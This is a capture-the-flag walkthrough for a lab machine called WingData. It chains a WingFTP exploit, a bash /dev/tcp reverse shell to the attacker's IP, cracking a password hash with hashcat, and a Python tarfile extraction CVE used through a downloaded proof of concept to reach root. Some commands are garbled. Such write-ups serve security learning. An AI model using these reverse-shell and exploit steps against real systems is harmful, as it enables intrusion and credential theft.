

WINGDATA - Walktrough

By Sarah Oualli

User Flag

As usual we use `nmap` to look at the open ports and we find port 80 and 22.

We go to the URL: `http:wingdata.htb`.

There is a staff login button, we can directly see at the used version.

Now we find the CVE corresponding to WingFTP v.7.4.3. It's CVE2025-47812.

Online I managed to find an exploit [Link](#).

```
python3 exploit.py --target http://ftp.wingdata.htb --lhost <myTun0IP> --lport 31336
```

This command allows me to get a Reverse Shell, but we need to make it more robust.

Now I put a port on listen:

```
nc -lvcn 4444
```

Back to the reversed shell:

```
bash -c "bash -i >& /dev/tcp/<myTun0IP>/4444 0>&1"
```

Now on the terminal in which we opened, we run `ss -tlnp` to see which services are running. We see something interesting in `wftp`, something about users. So we know what to search for. Once I find it:

```
cd wftpserver
```

and after searching a little bit, we got to `wacky.xml` which contains a hashed password. I know I need `user:wacky` cause previously, in the reverse shell, I saw that in home there was root and wacky.

```
echo "hashed_password" > hash.txt
```

To identify the hash modes:

```
hash-identifier
```

Output: SHA256 or Haval-256

I just assume it's SHA256 at this point. I add to the hashed password a label :WingFTP .

```
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
```

Password: !#7Blushing^*Bride5

I use it to enter the ssh server with username wacky. I easily get user.txt

Root Flag

```
sudo -l
```

To see if wacky can execute specific commands as root but without a password. It actually can!

```
(root) NOPASSWD: /usr/local/bin/python3  
/opt/backup_clients/restore_backup_clients.py *
```

The * tells me that I can pass any argument for this script, wow!

```
cat /opt/backup_clients/restore_backup_clients.py
```

Output of full script content:

```
#!/usr/bin/env python3  
import tarfile  
import os  
import sys  
import re  
import argparse  
  
BACKUP_BASE_DIR = "/opt/backup_clients/backups"  
STAGING_BASE = "/opt/backup_clients/restored_backups"  
  
def restore_backup(backup_name, restore_tag):  
    # Validate backup filename: must be backup_<digits>.tar  
    if not re.fullmatch(r'backup_\d+\.\tar', backup_name):  
        print("[+] Invalid backup name. Must match: backup_<digits>.tar")  
        sys.exit(1)
```

```

# Validate restore tag: alphanumeric + underscore, 1-24 chars, must
start with restore_
if not re.fullmatch(r'[a-zA-Z0-9_]{1,24}', restore_tag) or not
restore_tag.startswith("restore_"):
    print("[+] Invalid restore tag. Must match: restore_<alphanumeric>
(max 24 chars)")
    sys.exit(1)

backup_path = os.path.join(BACKUP_BASE_DIR, backup_name)
staging_dir = os.path.join(STAGING_BASE, restore_tag)

if not os.path.exists(backup_path):
    print(f"[+] Backup not found: {backup_path}")
    sys.exit(1)

os.makedirs(staging_dir, exist_ok=True)

print(f"[+] Backup: {backup_name}")
print(f"[+] Staging directory: {staging_dir}")

with tarfile.open(backup_path, "r") as tar:
    tar.extractall(path=staging_dir, filter="data") # <-- vulnerable
line

print(f"[+] Extraction completed in {staging_dir}")

parser = argparse.ArgumentParser()
parser.add_argument("-b", "--backup", required=True, help="Backup
filename")
parser.add_argument("-r", "--restore", required=True, help="Restore tag")
args = parser.parse_args()
restore_backup(args.backup, args.restore)

```

Critical observations:

Point	Detail
BACKUP_BASE_DIR	/opt/backup_clients/backups/ — check if writable by wacky
STAGING_BASE	/opt/backup_clients/restored_backups/ — extraction destination
backup name regex	^backup_\d+\.tar\$ — e.g. backup_9999.tar is valid
restore tag regex	^[a-zA-Z0-9_]{1,24}\$ + must start with restore_
extraction	tar.extractall(path=staging_dir, filter="data") — the vulnerable call

```
ls -la /opt/backup_clients/
```

The backup directory is writable by wacky

Let's see python's version:

```
/usr/local/bin/python3 --version
```

It's v3.12.3 which is vulnerable:

CVE-2025-4517 I used [this exploit](#).

In kali:

```
# Download the exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-
POC/refs/heads/main/CVE-2025-4517-POC.py
# Move to target system
```

To copy the file in target system:

```
python3 http.server 80 #in kali

wget http://<myTun0IP> CVE-2025-4517-POC.py exploit.py #in target
```

Now just use the exploit (if you want to do it step by step, you can, check the GitHub page exploit).

```
python3 exploit.py
```

I just got a shell as root. Now I can ascend the `root.txt` flag.